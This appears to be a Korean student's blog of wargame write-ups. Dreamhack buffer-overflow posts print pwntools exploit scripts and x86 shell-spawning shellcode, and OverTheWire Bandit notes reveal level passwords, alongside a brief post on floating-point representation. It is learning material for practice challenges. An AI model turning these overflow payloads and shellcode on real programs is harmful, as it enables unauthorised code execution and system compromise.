반응형

첫 번째 문제가 재밌어서 바로 두 번째 문제를 풀러 왔다.

첫 문제보다 쉬운 것 같다. 그냥 read_flag() 함수를 호출할 수 있으면 될 것이다.

(문제 출처 : https://dreamhack.io/wargame/challenges/3 )

 

예전에 어딘가에서 듣기로 ASLR? 이라는 기법이 사용되면 프로그램을 실행할 때 마다 주소가 바뀌어 포너블하기 힘들어진다고 했는데, 그냥 여기서는 그런 기능 안되어있길 기도하면서 read_flag 함수 주소를 찾았던 것 같다. 

 

일단 국룰 절차 먼저 밟아보자.

사실 보호기법은 봐도 잘 모른다. 그래도 일단 습관화 하면 좋을 것 같아서 밟는 절차... 하하 

 

다음은 코드를 살펴보도록 하자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
   
    gets(buf);

    return 0;
}

그냥 buffer overflow 이용해서 buf 칸 다 채워버리고 return 주소가 read_flag를 가리키게 하면 될 것 같다.

그럼 read_flag()의 주소를 어떻게 찾을까?

오 이 따옴표 넣는 기능 신기하다. 애용해야겠다.

dreamhack은 감사하게도 우리에게 pwndbg 사용법을 알려줬다.

 

사용법은 다들 알거니까 시작해보자.

print read_flag 써서 바로 주소 찾아줬다. 그럼 이걸 이용해 익스를 짜보자.

 

from pwn import *

p = remote('host3.dreamhack.games', 14765)

read_flag_addr = p32(0x80485b9)

payload = b"\x90"*0x80
payload += b"\x90"*4
payload += read_flag_addr

p.sendline(payload)
p.interactive()

 

우선 0x80칸 NOP으로 채워주고, SFP도 그냥 채워주고, 마지막 return address에다가 방금 찾은 주소를 넣어줬다.

 

흐흐.. 성공했다. 재밌다 ! 야무지다 ! 행복하다 !

반응형
반응형

2학기 들어서 처음 풀어보는 Pwnable 문제!!

신나는 마음으로 접근해보았다.

(문제 링크 : https://dreamhack.io/wargame/challenges/2)

 

basic_exploitation_000

Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "f

dreamhack.io

강의를 다 보고나서 문제를 보니, 

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

라고 한다.

 

그런데, 주어진 소스코드를 살펴보면 익스해서 셸을 획득할 수 있는 코드가 존재하지 않는다.

그렇다면... 셸코드를 이용해야할 것 같다. 셸코드는 대략 25~26byte정도 되었던 것으로 기억하니, 그걸 감안하고 문제를 풀어보도록 해야겠다. (아직 bof말고는 아무것도 몰라서 제 설명이 맞는지는 모르겠습니다! 틀렸다면 죄송!!!)

 

alarm_handler() 는 무시해도 될 것 같다.

initialize()는 그냥 버퍼 초기화하는 함수인 것 같으니까 무시해야겠다.

main()함수만 보도록 하자!

 

공부한대로 그냥 차근차근 보자.

일단 파일이 어떤녀석인지 보자.

32bit, SYSV 이정도만 알면 될 것 같다.

 

다음으로, stack에는 매개변수, 반환주소(RET, SFP), 지역변수 순으로 저장된다. 이를 그림으로 그려보면

이런 형태일 것이다.(매개변수는 들어오지 않았으므로.)

이제 코드상의 취약점을 찾아보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
   
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

buf의 사이즈가 0x80 즉, 128byte인데 scanf에서는 141byte씩이나 받고있다. (개발자 뭐하냐... 정신차려...) 

그렇다면 맛있게 bof를 해주면 될 것 같다.

 

익스 코드를 짜주자.

from pwn import *

p = remote('host3.dreamhack.games', 14027)

shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

p.recvuntil("buf = (")
buf_addr = int(p.recv(10), 16)

print(buf_addr)

payload = shellcode
payload += b"\x90" * (0x80 - len(shellcode))
payload += b"\x90" * 4
payload += p32(buf_addr)

p.sendline(payload)
p.interactive()

(shellcode는 그냥 인터넷에서 찾아서 긁어왔다 ㅎ..)

 

1. 우선 처음 nc 접속하면 "buf = (buf의 address)" 가 출력된다. buf의 address는 (0xXXXXXXXX) 이런 형태를 띠고있을 것이므로, 해당 주소는 10글자라고 할 수 있다. 따라서, "buf = (" 이후, 열글자를 16진수형 정수로 받아 이를 buf_addr에 저장해준다.

2. 그 다음, shellcode를 buf에 저장해주고, 나머지는 NOP으로 가득 채워준 후, SFP도 그냥 NOP으로 채우고 나서, return address를 buf의 시작주소로 지정해주어 이를 실행해주면 될 것이다!

 

성공한 것으로 보인다.

 

역시 처음 공부하는건 다 재밌다 ㅎ

반응형
반응형

컴퓨터에서 실수를 2진수로 표현할텐데, 이건 저장을 할 때 어떻게 저장을 하는지 갑자기 궁금해졌다.

한번 알아보도록 하자.

고정소수점 방식(fixed point)

실수는 정수부와 소수부로 나눌 수 있다.

고정소수점 방식은 소수부의 자릿수를 미리 정하여, 고정된 자릿수의 소수부를 표현하는 방식으로 생각하면 된다.

32비트 실수를 고정소수점 방식으로 표현하면

요렇게 된다.

하지만 이 방식은 정수부와 소수부의 자릿수가 한계가 있어, 표현할 수 있는 범위가 적다.

부동소수점 방식(floating point)

실수는 정수부, 소수부로 나눌수도 있지만

가수부와 지수부로 나누어 표현할 수도 있다. 부동소수점 방식에서는 이렇게 나누어 표현한다.

대부분의 시스템에서 이런 방식을 채택하고 있다.

C++에서는 요렇게.

 대부분 IEEE 표준을 따른다.

32비트 float형
64비트 double형

more

부동소수점 방식은 고정소수점 방식보다 훨씬 많은 범위까지 표현할 수 있긴 하지만 항상 오차가 존재한다는 단점을 가지고 있다.

위의 공식을 사용해서 표현하면, 표현 범위는 늘어나지만, 10진수를 정확하게 표현할 수 없으므로 오차가 발생할 수 있게 된다.

 

 

반응형
반응형

이번에는 base64로 인코딩된 password가 data.txt 안에 들어있다고 한다.

6zPeziLdR2RKNdNYFNb6nVCKzphlXHBM

base64 -d 옵션을 통해 decode 했다.

그런데, base64암호를 사용해본적은 있는데 이게 어떤 암호(인코딩 방식)인지 궁금해져서 좀 알아보기로 해보았다.

https://nullorm.tistory.com/23

인코딩 & 디코딩 | Base64에 대하여...

인코딩(encoding)과 디코딩(decoding) 파일에 저장된 정보의 형태나 형식을 변환하는 처리 / 처리방식을 말함. 이메일, 문자메시지 등의 전송, 동영상이나 이미지 영역에서 많이 사용됨. 인코딩의 반

nullorm.tistory.com

끗!

반응형
반응형

이번에는 data.txt 파일에 있는 몇몇 human-readable 문자열 중 하나이며, 몇개의 '='문자와 같이 등장한다고 한다.

 

$ strings 명령어 : 파일 내의 ASCII text로 이루어진 문자열을 추출(?)

G7w8LIi6J3kTb8A7j9LgrywtEUlyyp6s

이렇게 해보았다.

비밀번호 찾았당 ^^ ㅎ

반응형
반응형

이번에는 data.txt 안에 존재하는 문자열 중 오직 한 번만 등장하는 문자열이 정답이라고 하는 것 같다.

sort 명령어와 uniq 명령어를 사용해보았다.

sort 명령어는 문자열을 오름차순으로 정렬해주는 명령어

sort [파일명]

uniq 명령어는 정렬된 문자열에서 중복되는 문자열들을 없애주는 역할을 한다.)

uniq -u 옵션 : 중복되지 않은 녀석들 제거

EN632PlfYiZbn3PhVK3XOGSlNInNE00t

정답 !! ^^

반응형
반응형

이번에는 data.txt 라는 파일 속에  millionth옆에 비밀번호가 있다고 한다.

이럴 때 당장 생각나는건 우선 grep 명령어를 통해서 millionth 가 포함된 문장을 찾는 것을 생각해보았다.

 

TESKZC0XvTetK0S9xNwm25STk5iWrBvP

어라... 간단하게 해결되었다.

% grep 사용법

추출된 문자열에서 특수한 문자 또는 문자열이 포함된 행을 찾는 명령어이다. 

grep "문자열"을 통해 찾아낼 수 있다.

 

반응형
반응형

이번에는 무슨 서버 어딘가에 있다고 하고

bandit7이라는 유저의 소유, bandit6 그룹에 속해있고, 33 byte라고 한다.

이번에도 find 명령어를 사용해볼 수 있을 것 같다. 그런데...

애초에 홈디렉토리에 아무것도 존재하지 않는다..

그런데 문제의 발문을 다시한번 살펴보면 홈디렉토리가 아닌 "서버 어딘가" 에 있다고 했으니깐

루트 디렉토리에서 살펴보면 되지 않을까 싶다.

find 명령어를 이용해서 user, group, size 옵션을 이용해서 찾아봤는데도 뭐가 엄청 많이 나온다.

이렇게 해서는 뭘 찾기가 힘들어보인다.

우선 해결방법이다.

이렇게 하면 permission denied가 뜬 행들을 다 지워버리고 우리가 찾는 결과만 남길 수 있는데, 

설명

2>/dev/null

 

1. 파일 디스크립터

자세한 내용은 생략하고 여기에 필요한 정보만 가져오자면,

파일 디스크립터는 파일의 실행 등등을 관리하는 일종의 flag라고 볼 수 있을 것 같다.

0,1,2는 각각이 고유의 의미를 가지고 있고, 3부터는 파일이나 프로그램실행시마다 임의로 부여되는데,

0 : 표준 입력

1 : 표준 출력

2 : 표준 에러

라는 의미를 가지고 있다.

우리가 본 결과에서 Permission denied는 에러가 표시되었다는 뜻이므로 2 가 될 것이다.

이제 이녀석들이 출력되지 않도록 관리해야겠지? 

 

2. redirection

A > B : A의 결과를 B로 보냄

A >> B : A 결과를 B 데이터에 추가

A < B : B의 데이터를 A에 입력

라는 뜻을 가지고 있다.

 

3. /dev/null

리눅스에서 쓰이는 일종의 쓰레기통같은거다.

 

이런 개념을 이용해서 에러가 난 (권한 문제 등) 파일들을 버려버리면,

정답을 찾을 수 있다.

z7WtoNQU2XfjmMtWA8u5rN4vzqu4v99S

반응형
반응형

inhere directory에 있고, ascii text에 1033byte, 실행가능하지 않은 파일이라고 한다.

뭔가 조건이 까다로워보인다.

 

이럴 때 사용하는 find 명령어.

find 명령어에서 -size 옵션을 이용하면 파일의 크기를 알 수 있다.

1033 뒤에 붙은 c는 byte단위로 찾으라는 뜻.

b : 블록단위

c : byte

k : kbyte

w : 2byte 워드

라는 단위이다.

 

이렇게 하면 파일이 한개 나오는데,

이게 정답이다.

반응형
반응형

이번에는 inhere 디렉토리에 있는 human-readable 파일 안에 비밀번호가 있다고 한다. 이게 무슨말일까 일단 가보자.

흠 파일이 엄청 여러개가 있다.

file 명령어를 이용하면 파일의 속성을 이용할 수 있다.

"*" 기호는 모든 파일을 지칭한다.

여기에서 ./-*라고 한 것은 "-"로 시작하는 모든 파일의 속성을 보여달라는 말로 이해할 수 있을 것이다,

 

명령어 실행 결과를 보면 -file07이 ASCII text인 것을 알 수 있다.

문제에서 human-readable file이라고 했고, ascii text는 우리가 읽을 수 있으므로 저 파일이 정답일것이다.

찾았당 ㅎ

반응형

+ Recent posts